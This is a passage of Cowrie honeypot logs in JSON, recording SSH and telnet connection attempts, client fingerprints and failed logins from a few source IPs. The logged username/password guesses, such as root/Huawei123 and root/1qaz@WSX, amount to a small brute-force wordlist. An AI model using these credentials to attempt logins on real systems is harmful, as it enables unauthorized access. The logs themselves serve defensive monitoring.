-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:31:22.603835Z","src_ip":"69.163.176.54","session":"6e123cf13a90","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gate","password":"gate123","message":"login attempt [gate/gate123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:31:22.816661Z","src_ip":"69.163.176.54","session":"6e123cf13a90","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:31:23.435237Z","src_ip":"45.156.87.253","session":"c948d6013274","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:31:23.888411Z","src_ip":"69.163.176.54","session":"6e123cf13a90","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":59912,"dst_ip":"10.17.0.5","dst_port":22,"session":"623a55be8d00","protocol":"ssh","message":"New connection: 45.156.87.253:59912 (10.17.0.5:22) [session: 623a55be8d00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:31:25.254092Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:31:25.257588Z","src_ip":"45.156.87.253","session":"623a55be8d00","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:31:25.340476Z","src_ip":"45.156.87.253","session":"623a55be8d00","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Huawei123","message":"login attempt [root/Huawei123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:31:25.582651Z","src_ip":"45.156.87.253","session":"623a55be8d00","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:31:26.666656Z","src_ip":"45.156.87.253","session":"623a55be8d00","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":59914,"dst_ip":"10.17.0.5","dst_port":22,"session":"3627e338a343","protocol":"ssh","message":"New connection: 45.156.87.253:59914 (10.17.0.5:22) [session: 3627e338a343]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:31:28.783162Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:31:28.787191Z","src_ip":"45.156.87.253","session":"3627e338a343","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:31:28.867588Z","src_ip":"45.156.87.253","session":"3627e338a343","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"parsa","password":"parsa","message":"login attempt [parsa/parsa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:31:29.109799Z","src_ip":"45.156.87.253","session":"3627e338a343","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"52.169.217.131","src_port":53206,"dst_ip":"159.203.135.109","dst_port":22,"session":"e0ffef4a05ca","protocol":"ssh","message":"New connection: 52.169.217.131:53206 (159.203.135.109:22) [session: e0ffef4a05ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:31:29.722978Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:31:29.726620Z","src_ip":"52.169.217.131","session":"e0ffef4a05ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:31:29.799493Z","src_ip":"52.169.217.131","session":"e0ffef4a05ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"wangjing521","message":"login attempt [root/wangjing521] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:31:30.102050Z","src_ip":"52.169.217.131","session":"e0ffef4a05ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:31:30.192271Z","src_ip":"45.156.87.253","session":"3627e338a343","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:31:31.174958Z","src_ip":"52.169.217.131","session":"e0ffef4a05ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":38352,"dst_ip":"10.17.0.5","dst_port":22,"session":"0dd23fd20fca","protocol":"ssh","message":"New connection: 45.156.87.253:38352 (10.17.0.5:22) [session: 0dd23fd20fca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:31:32.144848Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:31:32.148747Z","src_ip":"45.156.87.253","session":"0dd23fd20fca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:31:32.229777Z","src_ip":"45.156.87.253","session":"0dd23fd20fca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root@123","message":"login attempt [root/Root@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:31:32.473963Z","src_ip":"45.156.87.253","session":"0dd23fd20fca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:31:33.702792Z","src_ip":"45.156.87.253","session":"0dd23fd20fca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":38376,"dst_ip":"10.17.0.5","dst_port":22,"session":"af549abc7c97","protocol":"ssh","message":"New connection: 45.156.87.253:38376 (10.17.0.5:22) [session: af549abc7c97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:31:35.496027Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:31:35.499586Z","src_ip":"45.156.87.253","session":"af549abc7c97","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:31:35.581503Z","src_ip":"45.156.87.253","session":"af549abc7c97","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"!Q2w3e4r","message":"login attempt [deploy/!Q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:31:35.826641Z","src_ip":"45.156.87.253","session":"af549abc7c97","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.725703239440918,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:31:36.100225Z","src_ip":"72.167.226.244","session":"7671fa43a82e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:31:36.909974Z","src_ip":"45.156.87.253","session":"af549abc7c97","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":38404,"dst_ip":"10.17.0.5","dst_port":22,"session":"80c9ac18bec4","protocol":"ssh","message":"New connection: 45.156.87.253:38404 (10.17.0.5:22) [session: 80c9ac18bec4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:31:39.005114Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:31:39.008971Z","src_ip":"45.156.87.253","session":"80c9ac18bec4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:31:39.090111Z","src_ip":"45.156.87.253","session":"80c9ac18bec4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2w3e4r","message":"login attempt [root/1q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:31:39.337375Z","src_ip":"45.156.87.253","session":"80c9ac18bec4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:31:40.421091Z","src_ip":"45.156.87.253","session":"80c9ac18bec4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":51722,"dst_ip":"10.17.0.5","dst_port":22,"session":"18eb172640b5","protocol":"ssh","message":"New connection: 45.156.87.253:51722 (10.17.0.5:22) [session: 18eb172640b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:31:42.308064Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:31:42.311710Z","src_ip":"45.156.87.253","session":"18eb172640b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:31:42.393530Z","src_ip":"45.156.87.253","session":"18eb172640b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@WSX","message":"login attempt [root/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:31:42.634456Z","src_ip":"45.156.87.253","session":"18eb172640b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:31:43.871050Z","src_ip":"45.156.87.253","session":"18eb172640b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"72.167.226.244","src_port":34482,"dst_ip":"10.17.0.5","dst_port":23,"session":"a3fe82f06750","protocol":"telnet","message":"New connection: 72.167.226.244:34482 (10.17.0.5:23) [session: a3fe82f06750]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:31:44.436091Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":51740,"dst_ip":"10.17.0.5","dst_port":22,"session":"1eb9cb34fc21","protocol":"ssh","message":"New connection: 45.156.87.253:51740 (10.17.0.5:22) [session: 1eb9cb34fc21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:31:45.680979Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:31:45.684396Z","src_ip":"45.156.87.253","session":"1eb9cb34fc21","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:31:45.816374Z","src_ip":"45.156.87.253","session":"1eb9cb34fc21","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rdpuser","password":"123","message":"login attempt [rdpuser/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:31:46.062977Z","src_ip":"45.156.87.253","session":"1eb9cb34fc21","protocol":"ssh"}
